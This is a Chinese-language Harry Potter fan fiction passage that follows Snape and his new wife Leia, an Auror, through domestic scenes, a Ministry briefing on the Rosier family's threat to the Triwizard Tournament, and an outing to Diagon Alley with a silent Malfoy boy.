“提醒,我可不想再次失去我的早餐。”斯内普对她的呵斥充耳不闻。他径自端着盒子走到餐桌旁,抬起魔杖,让两杯做好的咖啡、沙拉、烤吐司轻巧落于餐桌,才哂笑道:“韦斯莱送的?还能是什么好东西?” 她的心脏如叮咚作响的摆钟一样陡然摇晃,捏握锅铲的手轻微一抖,倏地觉得,眼下炙烤的不是那几片躺平的培根和瘫软的小番茄,分明还有她本人,“呃,嗯……你别、别拆开。”她小声地警告起来。 “你难道不知道,越叫人别去做的事,就越——”斯内普完全无视了她的抗议,他拉开椅子坐下,左手端起马克杯,右手用魔杖尖随意挑起盒子的一角,随即拔高句子的声调:“哦?——你们的格兰芬多友谊可真是,令我叹为观止。” 她就知道,这个彻头彻尾的斯莱特林男人,一旦起了坏心眼,比格兰芬多公共休息室那群毛头小子加起来还要难缠。 ……算了算了,这也没什么。按照他话里的道理,越遮遮掩掩反而正中他的下怀——他不就最喜欢捉弄她了吗? 蕾雅决定装作不在意的模样,捧好两盘早餐走到他身边,清了清嗓子,把其中一盘更丰盛的搁在他面前:“吃早餐。” “谢谢。”斯内普盖好盒子,慢条斯理推到一旁。沉黑的眼眸缓缓上移,对上她躲闪的眼色与满脸的通红。窗边碾过来的明晃朝阳在这瞬把她的面庞映得透亮,绿眸青翠,嘴唇如盛放的潋滟,她比这可口早餐还要美好诱人。 “不过——”斯内普勾了勾嘴角,趁她回身顺势探手绕过她的腰,轻而易举摁到自己腿上,“我倒觉得,你并不需要这些外在之物,不是吗?” “西弗勒斯!”蕾雅倒抽了一口气,下意识揪紧他的衣袖以维持平衡。 他在她烧得红透的耳边轻轻地低语完那句话,又贴近她漫上绯色的脖颈,像根不甘落地的绒毛般撩拨道:“好了,快吃早餐,”他的声音压得极低,挟裹些许餍足的意味,“如果你不想仪式后第一天上班就迟到的话。” “那你也得先放开我呀!”蕾雅忍受着一连串若有似无的啄吻,气恼地躲开他,却感觉这单薄的睡裙根本难以抵挡他的进攻,只好闭上眼,柔声哀求:“西弗,我真的要迟到了……” 斯内普拉过她的左手腕,垂眼瞥向她的新腕表,淡然地说:“你还有时间。” 说完,他笑着掰过她心不在焉的脸庞,于嘴唇覆上一个湿热的深吻,才愿意放过她。 他望着她起身绕到对侧位置,便顺手按她的习惯往她的咖啡杯中倒入牛奶与砂糖,搅拌后推到她的面前,恢复如常的语调,仿佛刚才什么也没发生:“而且,你完全可以多请几天假。” 蕾雅喝了一大口咖啡,稳住呼吸,举起刀叉切开培根:“既然你都不在,我一个人待在家里也没什么意思呀。”细细咀嚼一阵,她咽下食物,继续说:“你也知道我们最近的事情不算少,尤其是之前美国的调查,确实不好请假休息,更不好让大家迁就我的时间去安排测试和训练。” 不赶时间的斯内普习惯性地翻起手边的《预言家日报》,“我倒毫不怀疑他们会这么做。在美国时,我就看出来了,斯威克和汉密尔顿比起救世主,对你更上心。”他语气肯定,扫了眼头条的三强争霸赛,“说起来,你们下一步的计划是什么?” 自那几天紧密的调查后,金斯莱是有一段日子没给他来信了。估计魔法部在部署缜密的计划,这的确需要花点时间。 “大概今天的例会会知道吧。”蕾雅囫囵吞枣地吃完盘里的食物,放下刀叉,擦拭嘴角,“你今天也要回霍格沃茨,准备新学期的东西吗?” “嗯,我可不想还没开学就欠下一大堆邓布利多的人情。”斯内普粗略翻阅报纸的第二、第三版,也没看到任何关于他们婚讯的报道。看来,金斯莱的面子还算好使的,他为此感到安心,继而说:“毕竟,接下来霍格沃茨就由他守着了。” 蕾雅双手端起咖啡喝完,笑容盈盈地问他:“那今晚……我等你回来?晚餐想吃点什么呀?” “如果我又很晚,你就不要做晚餐了,过来霍格沃茨。”察觉到她脸上浅浅浮现的惊讶,斯内普补充道:“放心,那群画像已经热情地告诉我跟邓布利多,我并不是史上唯一一个结婚的校长。甚至在某些时期,他们的伴侣还会常驻学校,协助处理事务,比如说,修订教材,或者……“他反手敲了敲桌面,深不可测的黑眸里全是算计和暗示:“帮忙制作魔药。” 蕾雅飞快瞪了他一眼,起身把空餐具一并送入洗碗池,让水流自动打开运作。做完这些,她才斜睨着读报的男人,语调不满:“你知道这听起来像什么吗,西弗勒斯?” “像什么?”斯内普从报纸抬头,满眼平静而无辜望向她。 “狡猾的霍格沃茨校长们想省下一份额外支出的工资。我本来的工资够少的了,可不会让现任校长先生得逞呢。”她扬起眉毛,做出一副坚决不同意的模样摆手。 没给他再反驳的机会,她像逃跑一般窜回楼上,换衣服、化妆,戴好耳钉回到他的身边,俯身碰了碰他的额角:“那我上班去了,晚上见。” 在她抽回手的瞬间,他稍稍掠过她的指尖,捏了下:“嗯,晚上见。” 最近的傲罗办公室,或者说,整个魔法部,都被一股无形的高压笼罩。 也因此让蕾雅意外可以松一口气,至少减少很多应对八卦的尴尬时刻。 今天上午的工作,依旧是枯燥的档案撰写。沙克尔部长希望傲罗办公室能尽快提交一份详尽的美国事件报告,内容包括这个团体的组成、来历、过往犯罪记录、相关人证物证,还需列举诸多证物在案件中扮演的角色,尽可能不遗漏一丝疏忽。 由蕾雅负责的编号五十二档案整理一直持续到下午三点,勉强赶在会议前做完。她快速检查一遍,确保没有大的纰漏,将档案放入待上级批阅的文件堆,和哈利、罗恩一同前往会议室。 宽广的会议室大厅,斯威克主任、汉密尔顿副主任、以及较少与他们接触的布莱恩·瑟克斯顿副主任都已正襟危坐于长桌前。正在分发会议资料的唐克斯侧过脸,冲他们使了个淘气的眼色。她的头发今天是深蓝色的,浩渺夜海般的神秘。 三人在靠后排的“新人专属区”落座。在开始之前,他们和大部分的傲罗一样,仔细阅读资料里桩桩离奇案件的简述和会议议程,心情也越发沉重。 待到人齐,斯威克直接进入正题:“无论有没有参与美国的行程,我想这半个月里,你们都已了解过这起黑巫师的事件。”她说着,挥了挥手边的魔杖,中央长桌上慢慢漂浮出一份巨大的世界地图,与其同时,数张巫师的画像也一并显现出来,还有一枚古老的家徽。 那是一朵艳丽盛放的暗黑玫瑰,带刺的花茎和叶瓣宛若荆棘般像四周扩散,花心紧紧缠绕一把银色宝剑,看起来妖异、危险、强大。 会议室即刻陷入死一般的寂静,所有人都目不转睛地端详一幅幅轮转的画面,似乎想从其中翻找出任何的蛛丝马迹。不时有沙沙的书写声,此起彼伏。 “经过霍格沃茨的斯内普校长及布莱克家族相关人士的协助调查,我们基本可以确认,这一系列事件背后都指向这个家族。”瑟克斯顿接过话,他一贯是黑巫师及其历史方面的专家,“罗齐尔,一个古老的纯血家族,在历史上久与黑巫师、黑魔法有所牵连。” 他一抬魔杖,点向其中一副画像,画像被骤然放大,映出一个长相妩媚却冷冽的女人,深色眼睛里流淌出一股凌厉又绝美的攻击性:“文达·罗齐尔,格林德沃最忠实的追随者之一,也是巫粹党的核心骨干。”他魔杖偏转,画像切换了,取而代之是一名相貌阴鸷艰险的男人:“埃文·罗齐尔,著名食死徒,在第一次巫师战争中由傲罗阿拉斯托·穆迪杀死。” 瑟克斯顿稍作停顿,第三幅画像被推出来。画中女人有着与纳西莎同样的高贵端庄的气质,连五官轮廓也如出一辙,“另外,根据纳西莎·马尔福和安多米达·唐克斯的证词,她们的母亲,德鲁埃拉·罗齐尔也曾在两次战时辅助伏地魔的部署。并且,此人还趁机将家族势力暗中发展扩大,最盛时,爪牙遍布欧洲大陆。”蕾雅注意到唐克斯的身形在这瞬略为颤动,但她没再表现出更多。 “而据斯内普校长的证词。”斯威克将垂下的鬓发勾回而后,顺便抚了抚疲倦的眉心,连声音也透着疲劳:“这个家族在霍格沃茨之战前不久就彻底撤出英国。具体的时间,恰好是伏地魔杀死被囚禁于奥地利纽蒙迦德监狱的格林德沃后不久。” 仅凭这些信息,室内的氛围已在这一刻跌落冰点,因为傲罗们一向聪慧敏锐,轻易能将零散的暗丝重新编排,勾勒出一张完整的阴谋之网。 哈利和罗恩快速交换了一个眼神,之后两人的眉心都拧得更紧。 “那个怪物不会又找了能复活自己的伎俩吧?”罗恩咕哝一句,手中的羽毛笔在纸上划出毛躁的笔迹。 “因此,斯内普校长与邓布利多校长都怀疑,伏地魔在审问格林德沃时,得到了某些至关重要的信息。特意让这个家族留在后方,静待再次出击的时机。”斯威克说完,转向汉密尔顿,让他接替主持的任务。 汉密尔顿拨动自己的魔杖,长桌上的画像再度替换,伊法魔尼华丽的城堡赫然出现。 “尽管在美国大部分被逮//捕的偷猎团体都被施加过遗忘咒,但根据斯内普校长和霍桑校长的推测,这群人暗中与罗齐尔家族勾结,真正目的是寻找伊法魔尼城堡下的‘某样东西’。”他的声音沉着而深重,画面随着他的话不断变换,这一次,是霍格沃茨与布斯巴顿的影像,“同样,经过调查,我们发现,霍格沃茨的地下,也曾有过类似的东西。并且,法国魔法部今早已向我们证实,布斯巴顿魔法学院亦不例外。” 汉密尔顿话音落下的顷刻,整个会议室顿时响起阵阵哗然的议论。此时,三座魔法学校的影像并列浮动在会议室中央,而那枚黑玫瑰家徽,正在地图中央猖狂绽放,诡谲而阴森。 “既然如此,我们是不是应该叫停接下来十月份的三强争霸赛?”坐在前排的金发男巫埃文举手发问,毫不迟疑地问道。 “不,”斯威克抬了抬手腕,压下场内的躁动,“沙克尔部长与法国的魔法部长已经达成了共识,三强争霸赛不会取消。” 在众人静默的分秒间,斯威克沉下脸,严肃宣布道:“所以,我们接下来要做的工作很明确——确保赛事的安全,并借此机会,一网打尽这个家族,将伏地魔的残余势力彻底清除。”说到这里,她视线一转,面向坐着五位新人的一侧,“另外,我们决定将新一批傲罗的考核提前至九月中旬,以尽快储备足够的执行力量,为接下来的法国行动做好准备。” 会议渐入尾声,每个人的神情都变得越发沉寂而忧郁,宛如有看不见的手扼在他们喉咙。 不过,这种窒息只持续很短的时间,傲罗们便拾起坚韧的决心。尽管直面暗涌的现在,他们仍旧有些面面相觑,没有人知道、亦没有人有胆量去猜测,接下来等待他们的会是什么。 但是,他们深知那令人惊骇的阴影,如今正以另一种方式试图卷土重来。为此,每一个人都很清楚再度直面骇人黑暗的可能性,已付出过巨大代价的他们,是绝不会愿意就这样让一切重新燃起。 斯威克合上文件,似乎是暂时处置了一块巨岩那样低叹一口气,“从现在开始,我希望你们打起十二分精神,对所有的事都保持警惕。无论是在工作中,还是在生活里。任何可疑的迹象,都必须即刻汇报。我相信你们都很清楚,在错误的领导下,魔法部曾走过一次歧路,因此,沙克尔部长和我都绝不希望,我们会重蹈那次覆辙。” 无数椅子拖动发出的刺耳摩擦声在空气中响起,宣告着会议的结束。人群纷纷起身、走动、低声交谈,于无形的沉闷阴云底下穿行。羽毛笔划破纸面的脆响,与愕然的惊叹重叠交织,像是狂风骤雨前不安的潮湿气息。 “蕾雅,你留下来,其他人都赶紧出去吧。”斯威克在一切吵杂中抬头,突然叫住正往门边走去的年轻傲罗,“把门关上。” “啊,好的。”蕾雅与同行的哈利罗恩告别,掩上门。 “不是那么正式的谈话,来这边坐吧。”斯威克暂时离开了会议主桌,走向靠窗的绒布沙发,轻轻拍了拍旁边的空位。 蕾雅顺从地照做,略有拘谨地坐在她的身边。这是她除开霍格沃茨那次,第一次离斯威克主任如此之近,以至于她都能闻到主任身上淡雅的茉莉香气。 年长的傲罗主任真诚地露出一个温和的暖笑,眉眼间都是跟她身上香气匹配的优雅,“虽然我知道你们决定是要保密的,但还是容我先说一句恭喜吧,蕾雅,新婚快乐。”她稍微垂眸,望见蕾雅无名指上的婚戒,笑得更加恬然,“看来,在美国的事,确实让斯内普校长有些……担忧了?如果我没记错,他当初的建议,可不是让你成为一名傲罗。” “谢谢您,斯威克主任,”蕾雅腼腆一笑,直视主任同样温暖的眼睛,坦率承认:“是的,他确实有点紧张。在美国时我也跟他提过,我很喜欢傲罗这个职业,也觉得很适合我,您当时对我的看法是对的。” “那么今后,你仍希望我们称呼你为莱恩哈特吗?还是莱恩哈特·斯内普?”斯威克耐心确认到。 “除了书面文件,我们决定在工作场合仍沿用婚前的姓氏。”蕾雅大方应道。 “明白。”斯威克微微颔首,话语里仿佛藏有深远的赞赏,“我的看法至今未变,蕾雅。你的确很适合这份工作,你的天赋、才能、努力程度,甚至背景与关系,都无比匹配。比起哈利的无畏直觉和随机应变,你的优势在于细致冷静的判断,还有对魔咒的独特见解和运用。” 被直系上司如此高地评价,蕾雅不好意思地摸了摸鼻尖,有些不太适应地轻声道谢:“谢谢您对我的认可。” “当然,这并不意味着你没有需要改进的地方。”斯威克语气一转,双手交 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只不过,与教授们一同用过愉快的晚餐后,她还是被迫顺从了那位狡黠的斯莱特林校长的心意。 蕾雅朝眼前走路如风的黑袍男人无奈地努努嘴。 “有意见就直接提,蕾雅。”男人立于楼梯口,侧过身,不容分说地攥住她的手,拖着她拐进通往地窖的楼梯,生怕她溜走似的。 这种体验其实十分奇怪。因为在学生时代,她无数次流连或穿梭于这个不大的空间,怀着少女的心事一遍遍敲开他办公室的门。却不曾设想有朝一日,会被他这样牵着一同走下去。 “你怎么知道?”蕾雅揶揄一句,“难不成我的丈夫背后也长眼睛了?我怎么昨晚——没发现?” 斯内普听出她话里的暗意,语调没有丝毫变化地回应:“我以前就说过,你该反思一下自己是不是太好懂。但请让我提醒你,当时是你亲口说要帮忙的。” “好嘛,我这不是来了吗?” 推开地窖办公室的门,清幽凛涩的药香便扑了二人满怀。 是提早离席的德拉科在那里进行狼毒药剂改良的收尾。坩埚中的药液一下下发出有条不紊的咕咚咕咚,银白色的袅袅烟雾盘踞在调配台上方,衬得那头淡薄的白金发愈发柔亮。闻见开门的细响,他回过头,苍白的面孔凝滞住不加掩饰的错愕。 “德拉科,给你找了个帮手。我今晚有别的安排,需要去与几位教授商讨新生的事宜。”斯内普以他平日冷淡的嗓音开口,推了推手边人,没有留情地吩咐道:“教材订正也好,魔药制作也好,不要跟她、也不用跟我客气,我希望你能尽量在我下个月离开前,将现在的工作都告一段落。” “哦,好。”墙角愣住的德拉科像块木头,仅凭本能作出答复。 “你会好好付我工钱的吧,斯内普校长?”蕾雅不由自主地开始怀念起这间半是熟悉、半是陌生的办公室。 斯内普低低地嗤笑,将搭在柜边的围裙递到她手里,“如果马尔福助教对你评价尚可,我可以酌情考虑。那么——”说罢,他转身退出门外。 蕾雅最终没有忍住,朝合上的木门做了个真正的鬼脸,心想着今晚回家再跟他计算。 她边系好围裙边走到德拉科身边,低头细细观察锅中仿佛一泓明镜的狼毒药剂,“咦,颜色跟我之前做的不太一样了。” 德拉科埋头于药剂的熬制,头也没抬:“嗯,跟斯内普校长讨论后,我们调整了月长石粉的比例,同时加入了一种新的提取液。” “这种提取液的效果是什么?”蕾雅一一扫过墙上与桌面密密麻麻排满的笔记,希望能在繁密中寻求到这个问题的答案,“啊,在这里,延长药效时间。是这样啊,这样就能减少服药的剂数了。唔……接下来的目标是加入能缓解攻击性的成分,……哦,原来如此,确实很令人期待呢。”她在助教的耳边自言自语地呢喃,忽而转头,询问到:“所以,你需要我帮点什么忙吗,马尔福助教?” “别那样叫我,莱恩哈特……”德拉科的手在半空凝滞住,灰蒙蒙的眼珠缓缓从药液中移开,落到她的方向,嘴角浮起一抹没想要隐藏的笑意:“哦不对,差点忘了,你改姓了,是莱恩哈特·斯——” “叫我蕾雅!”在他道出那两个字之前,蕾雅决然切断对话。 德拉科耸耸肩,抽出坩埚里的搅拌棍,掂起白布抹干净,才终于正视旁边的人:“别叫我马尔福……德拉科。” “好啦,德拉科。”蕾雅浅浅笑开,向他递出一只友好的手,“很高兴重新认识你,我知道我们学生时代交集寥寥无几,也并不愉快。” “……”德拉科凝视那只手犹豫片刻,终究仍是象征性与她握了一瞬。然后他挥动魔杖,令一个大木头箱子径直停在他们之间。蕾雅可认得,那是专门为医疗翼提供魔药的药箱。 两个人于是就在一瓶瓶魔药装满这个箱子的间隙,洋洋洒洒地聊着毕业后的见闻与轶事。也这样慢慢地,蕾雅发现,面前这个斯莱特林天之骄子是真的改变许多。 从前的他,高高在上、意气风发,可现在,他犹如块经历过风沙打磨的光润卵石,纵然保有一些锋芒与骄傲,却选择将过度的锐利隐在柔韧的深处。表面展现出的,是与过去截然不同的冷静和平和,以及几分身为助教的沉着严谨。嗯,总觉得有点像某个人。 “我可以问吗。”关注到蕾雅的沉思,德拉科忽然打破沉默。 “问什么?”蕾雅递给他最后一瓶完成的药剂,面露困惑。 “为什么会决定这么早……呃,结婚?”他垂着头,语速很慢,每个字词都是极为难堪地从牙缝爬出来。话说完,他迅速背过去,将药剂放入箱中,拿起清单装作认真地点对起来。 蕾雅一愣,下意识撇向一侧德拉科的背影,在明显目见他发红的耳根,忽然后知后觉过来,德拉科这个问题大概并不是单纯出于好奇或者对斯内普的窥探,更是他自身在对婚姻的犹豫。她依稀记得,斯内普和父亲提到过,马尔福家与格林格拉斯家正在迫不及待筹备联姻。 她望向药架后的那扇拱窗,话音干脆自然:“因为我爱他,德拉科。我想成为他真正的家人,我再不愿他因我而患得患失,痛苦不已。” …… 训练、调查、新学期准备、三强争霸赛的事宜,婚后的日子过得比以往更加繁忙,几乎没有喘息的空隙。两个人就这样一直忙到八月最后一个周末,积攒不少疲惫的蕾雅今天决定顺从斯内普的话,久违地放纵自己睡了个懒觉,没有坚持要跟他一同回霍格沃茨。 等她睡饱起来的时候,整个安静的家被周末慵懒的白日浸润透了。毕竟,在蕾雅的印象里,这个季节永远是伦敦城最好的时期,阳光充沛,空气亲和,日落不太晚,温度不太高,雨水不太多,一切皆是恰到好处的馈赠。 她披上晨衣,赤脚踩在微凉的白木地板,往楼下踱去。刚一来到一楼,她就听到细微扑打翅膀的响动。 想到应该是送信的蒙布朗,蕾雅加快脚步迈向餐厅,远远就目见长桌上放置一份被施加过保温咒的早餐与咖啡。而蒙布朗,一见到她靠近,立刻扬起翅膀扑腾而来,发出两声热情短促的“咕咕”。 “怎么啦?西弗今天早上出门前没有喂你吗?骗两份伙食可不是个好行为呢,你最近又胖了。” 这只猫头鹰显然也有它主人的那种罔顾她话语的品性,依旧嗷嗷咕咕叫个不停,以至于蕾雅真的很想知道,为什么巫师世界还没有发明出能理解动物语言的咒语。 她只好跟着一路喋喋不休的猫头鹰走到厨房调理台前,内心不住揣测斯内普到底清不清楚他的猫头鹰原来是这样多话又粘人的性格。她兀自叹息一阵,拧开新购置的猫头鹰零食,翻出一个小碟倒满。 然而,蒙布朗却没有像平常那般急着过来啄食,而是停在斯内普平时位置的椅背。 她依照它的意思望去,原来座椅前躺着某样物件。 “嗯?原来是有信件呀。”她摆好猫头鹰的零食,拾起信。 原以为也是某位友人寄来的新婚祝福,可这封信件朴素到不可思议。泛黄的信封只有一行娟秀的小字,浓黑色的墨染都有些散开,感觉不但年月久远,质量还不太好的样子。 “致我亲爱的西弗勒斯。” 她指尖稍有踌躇,反过来,信的背后也没有任何标记家徽,甚至没有封口。 第三次盯着那行可疑的墨迹,她的心底隐隐升起一种前所未有的惊异,总觉得这些字词的书写习惯似曾相识。 到底来自于他身边的谁呢? 会这么称呼他的人—— 没来得及往下深究,就在这时,几声清脆的门铃把她吓了一跳。幸好,随之而来是她父亲的叫喊声:“你们起来了吗?” 蕾雅捂住作痛的心脏缓过神,没再多想,顺手将那封信归拢到餐桌一角,以花瓶压好。 她来到门口,拉开大门,迎面的金灿晨光底下是父亲温和的脸庞,“早,爸爸。” “早,宝贝。”雷格纳笑着点头,往屋内探了探身,“西弗勒斯不在吗?” “嗯,他一大早就回霍格沃茨了。”蕾雅答道,看出父亲似乎有话要说,便热心询问:“是发生什么要紧的事了吗?” “也不是什么重要的事。是卢修斯来了,”雷格纳敛住神色,很直接地告诉她,“还带了个奇怪的男孩,说想让西弗勒斯和我帮忙检查,但既然他现在不在,要不你过来看看?” 96.对角巷 今天的三强争霸赛项目模拟,终于算是达到令斯内普和一众教授满意的程度。既不会显得过于简单,又能最大程度保障参与学生的安全。 将草坪与黑湖逐一恢复为原样后,斯内普与返回教师公共休息室编写报告的教授们告别,没有回校长室放下工作的东西,就直接从禁区外以幻影移形回了家。 推开家门,玄关地毯前正摆放着一双擦得锃亮的黑色圆头小皮鞋,紧挨着他妻子平日上班穿的马丁靴。他没有太过惊讶,在玄关换好拖鞋,挂好他的长袍。 家中如此的舒适感让他习惯性挽起衣袖,他于是边卷边缓步朝客厅走去。远远地,看见窗边的钢琴被打开了,显然是她不久前弹奏过的模样。目光沿着墙壁的拐角移动过去,壁炉的旁边还堆放着他们没拆完的新婚礼物,大概是她为了腾出客厅空间接待客人而搬到那里。果然,茶几上留有几件明显是卢修斯带来的东西,几个未来得及收拾的茶杯也停在那里。 她呢?怎么会如此安静? 婚姻的誓言让他们能在一定距离离感知到彼此的魔力,所以蕾雅一向会在他归家的第一时间迎接他的。 他朝她魔力气息飘来的方位往里走,等靠近了沙发,才暗暗庆幸自己没有选择从校长室壁炉的飞路网回家。 此时的沙发上,正有一大一小酣睡的人儿——身形较大的那位,他的妻子,斜斜倚靠在几个垒起的抱枕,而一个柔金发的男孩蜷缩在她的怀里,约莫是四五岁的样子。 或许是感到被她的手臂安全护着,男孩稚嫩的小脸上是一目了然的平和表情,睡得很熟。两人身上半覆着平日搭在沙发椅背的薄毯,沿着她手臂的弧度滑落些许。薄毯的末端,午后浅洒的光线映出一片金灿灿、毛绒绒的温暖,柔软美好到仿佛能化开最坚硬的磐石。 斯内普一愣,就这么出神地站在原地,木讷地目视这个陌生的场景。他的瞳仁随着她有序起伏的身体而轻颤,她的眉毛微微颦蹙着,嘴唇有些缺乏血色的浅白。他忽而心疼地皱紧眉。 他知道,她最近确实是累的。 伤痊愈以来,她几乎没真正休息过,接连不断的测试与训练、案件调查的琐事、婚前婚后的杂务也桩桩件件,偶尔还得应付他的任性……也是最近这些天,在注意到她沾床就沉沉睡去后,他后知后觉过来,她已积攒过多的疲劳。也后知后觉到,她许是在勉强自己。 然而没想到,他好不容易劝她今天留在家中休息,卢修斯却找上门来。 其实听她刚刚从双面镜中说明的情况,并不是件很复杂的事情。 这个叫做奥瑞尔·马尔福的孩子,在母亲于战争之中去世开始,逐渐封闭了自我,最近,在看完一本童话书后,他彻底不再开口说话,常常一个人在房间发呆。 马尔福家主卢修斯怀疑是书被施加过诅咒魔法,于是前来孩子和书前来请教雷格纳与他。没想到,这个男孩却出奇地对蕾雅产生了反应,甚至在卢修斯准备暂时带他回去的须臾,紧紧拽住她的衣角。于是,蕾雅提议让她单独与男孩呆段时间,正好等斯内普回来查看。 当然了,斯内普并不是不愿意帮忙。 先不论卢修斯从学生时代就待他不差,而在战后,两个人几近颠倒的名声与地位来看,若非实在无人可靠,对方的确不会这样贸然上门求助于自己。只是,他实在不愿意他的妻子还需为这样的事情耗费精力。 这么想着,他脱掉拖鞋,踩上地毯绕到沙发前侧,俯身去够到那张歪斜的薄毯,用最轻微的动作盖好在他们身上。他看着妻子安睡翕动的长睫,身形稍微顿住,指尖悬停在半空,终是掠过妻子的额发。 “唔……”蕾雅在迷迷糊糊之间感受到熟悉的魔力和气息,下意识推开因困倦而迷蒙的双眼,就对上一双隐约装有疼惜的黑眸。几乎是在她想要说话的同时,他暖热的指腹就轻轻落在她的唇上。 斯内普用眼神示意她怀中熟睡的男孩,而后抽出魔杖在小孩耳边施下隔音的咒语,才以低不可闻的气音压在她耳边说:“吵醒你了?我回来了。别着急起来,我想你再休息会。” 蕾雅稍稍抬起眼睫,为他的关心而浮起大片如淬开蜜糖的暖和甜。她点点头,又摇了摇头,对他扯了个似是无奈的笑容:“要不我还是起来吧……脖子睡得有点疼。” 男人撇了一眼她颈侧的那些抱枕,低低地笑了。他探手扶起她半个身子,以自身替代了抱枕的位置,让她枕在他的腿上。一只手顺沿她的后颈,慢慢揉按下去,轻柔地问道:“这样会好些吗?还是抱枕?” “你明知道,我一定会选你。”她蹭蹭他的腿侧,诚实地回答。她任斯内普清冽的气息环绕着她,他的手掌的温度令她情不自禁打了个哈欠。蕾雅闭起眼,忽而再次想起什么,小声笑起来:“马尔福先生离开以后,我刚刚跟小马尔福先生弹了会儿钢琴,没想到他靠着我睡着了,弄得我也困了……你不知道,西弗,那三个马尔福站在一起,可养眼了,连爸爸都这么说。” “我能想象。”斯内普斜睨向她怀中的男孩,顺着她的话说。他保持着手上仔细按摩的动作,另一只手抖了抖魔杖,将茶几上那本黑封面的童话书召了过来,“我先看看这本书,你再睡会儿?是我没注意到你最近太累了,抱歉。” “西弗,别道歉,你也很忙呀……”她呢喃着,安心沉入梦境。 …… 再次逐渐清醒,蕾雅第一反应就是去摸了摸身前的位置。那里空空如也,奥瑞尔不在了。 她怔了怔,撑着身子坐起,很快又发现斯内普也不见了。她睡在一个高度适中的枕头上,显然是他为她细心调整的。 客厅一片沉寂,仿佛宛如什么都没有发生过。但有一阵久违的清香药味弥漫飘散,她定住一刻,清楚闻到是橙皮的甘甜与霍克拉普根的苦涩,辨认过来,有人在熬制温和药剂。 掀开毯子起身,她径直往地下室踱去,而后,就被眼前的一幕轻易震撼了一下。 她熟悉的黑发男人站在魔药桌前,身侧多出一个小小助手——奥瑞尔踩在一张踏椅上,专注地看着斯内普有条不紊地制作药剂。地下室顶窗透入的星点柔白辉光,穿透团团雾气笼罩在二人头顶,一层梦幻纯粹的昏光。 “西弗?”蕾雅敲了敲门沿。 “睡好些了吗?”斯内普闻声回过头,低沉的声音中竟然有不少的温和,他偏回去,拿起一个研钵,对一眨不眨眼紧盯他手里东西的男孩道:“对,马尔福先生。这是龙血草,有补充血液、恢复体力的功效。” 蕾雅为此笑了笑,走到奥瑞尔的身边,抚了抚这个认真听讲男孩的金发,看丈夫熟练地分次往锅中加入药粉,凑到他的耳边:“怎么?我的斯内普教授在给马尔福先生上课?” 斯内普放下研钵,维持搅拌的匀速,坩埚液面已呈现出鲜亮的暖橘,像是一捧尚好的晨昏霞光:“我刚刚在订正教材,他醒了以后就一直盯着我的书。我猜他会不会对这些感兴趣,就问他要不要一起制作魔药,他就跟过来了。”说到这里,他稍作停顿,眼神掠过她仍未完全恢复血色的脸,又说:“上去换衣服吧,魔药也快好了。如果你喝过魔药不太累的话,或许,我们该带他出去走走。” “原来这是给我的?温和药剂?”蕾雅望着斯内普正往锅中滴入的鎏金蜂蜜,讶异地瞪大眼睛,突然就意识到入睡前斯内普说的话。她扶着奥瑞尔的肩膀,靠近斯内普,轻轻碰了碰男人的脸侧,小声道:“谢谢,我的丈夫。我换好衣服去跟爸爸说一声我们外出。” “嗯。” 从莱恩哈特家回来,在斯内普教授的监督下喝完他特制的药剂,蕾雅整个人都感觉好了很多,就像是终于真正睡了一个饱满的美觉,连面色都泛出健康的浅红。斯内普似乎为此感到满意,因为他正浅勾着嘴角,认真给小马尔福系好鞋绳。 “去哪里呢?”蕾雅扣好奥瑞尔的灰色小马甲,伸手梳顺他浅白的金发。奥瑞尔定定地回看向她,天蓝色的眼眸澄澈如静阔的天际,一言不发而紧抿的唇瓣让他如瓷娃娃般精致漂亮,蕾雅不由地想起德拉科一年的样貌。 “对角巷?”斯内普自顾自穿好巫师袍,站起身整理袖口:“带他去麻瓜的地方,未必合适。” “好呀,我从美国回来就没去过了。”蕾雅欣然点头,准备将奥瑞尔抱起来。 “我来。”没想到斯内普侧过身,直接稳稳捞起孩子,转身走向壁炉。 “可是……对角巷那么多人,会不会不好?”蕾雅犹有顾虑地望了望伏在斯内普肩上的奥瑞尔,抓了一把飞路粉在手中,也步入壁炉。 “只要不在意就没什么。”斯内普腾出一只手搂过妻子的腰,在轻盈散落的绿色烟尘里低声道:“对角巷。” 对角巷,伦敦魔法世界的心脏,在这个临近开学的周末当然比往日还要热闹。不算宽的巷道两旁挤满各色的魔法店铺,延伸悬挂在半空的招牌奇形怪状,底下的橱窗更摆满琳琅怪异的魔法商品。 蔓延开秋天的凉意已悄然渗透在空气之中,脚下的石板路面被来往的大小巫师的袍角磨得尘土飞扬。放眼望去,面前都是错落的巫师尖帽,许多急忙忙的猫头鹰衔着包裹低空疾驰。街角一家店铺传出魔法坩埚轰隆的巨响,加上被关在笼子里的魔法宠物的扑腾鸣叫,遮掩了低头讨论着最新魔法部新闻的交谈声。 奥瑞尔缩在斯内普的怀里,小手揪紧男人的长袍。但这种状况只持续了不太长,随着对环境的习惯,他渐渐开始观察这个世界,甚至会一动不动地将目光定在某个方向。蕾雅顺着男孩的视线望去,那边是奥利凡德的魔杖店,质朴的青灰色墙砖映衬同样冷冽的漆黑外饰。两盏昏黄的古旧吊灯映出橱窗里草草展示的几根魔杖,以及疏于打理的蛛网与灰尘。 跟奥瑞尔一样,她也凝视了一阵,很自然就想起当时挤在人群,被父亲护在怀中去挑选魔杖的那一天。回过神来,她腰间的手掌也正用力地环着她,生怕她会被人潮冲散。 也许此后有朝一日,她还会跟他一同再来这里挑选魔杖,为他们的孩子。 这个猝不及防的想法让蕾雅蓦地红起脸,完全没有发现斯内普正侧过脸端倪着她的神情,他的手指还在她腰间细微按了按:“想什么呢。” “嗯?”她慌忙别开视线,翻出一副无事发生的模样,“只是想起小时候,爸爸带我来买入学物品的事了。” “是吗?”斯内普挑起眉毛,没有选择拆穿她明显的遮掩。他稳了稳奥瑞尔,顺着她的眼神望向奥利凡德的店铺,忽而也想起很久很久以前,艾琳瞒着托比亚带他来这里的情形。 那也是一个这样泛着秋意的下午。 他缩在一套滑稽、破旧、又不合身的麻瓜衣服里,以最快的速度购齐了入学所需的用品。他们步伐匆匆,根本无法好好观察这条热闹非凡、令小巫师们充满期待的长街,反而一直担心回到家后托比亚对母亲的怒火会不会更加猛烈。 “啊,斯内普校长!”嘈杂的人流中传来不知道是哪个过路巫师的喊声,扯回他的思绪。随后,就如同某种连锁效应般,四周的人们纷纷停下交谈甚至止住步子,转到他们所在的方位:“噢噢,那不是斯内普校长!” 蕾雅立刻下意识向旁侧挪了几步,斯内普皱着眉抽回手挡住奥瑞尔的脸,换上平日毫无表情的冷漠脸孔,朝巫师们点头致意。 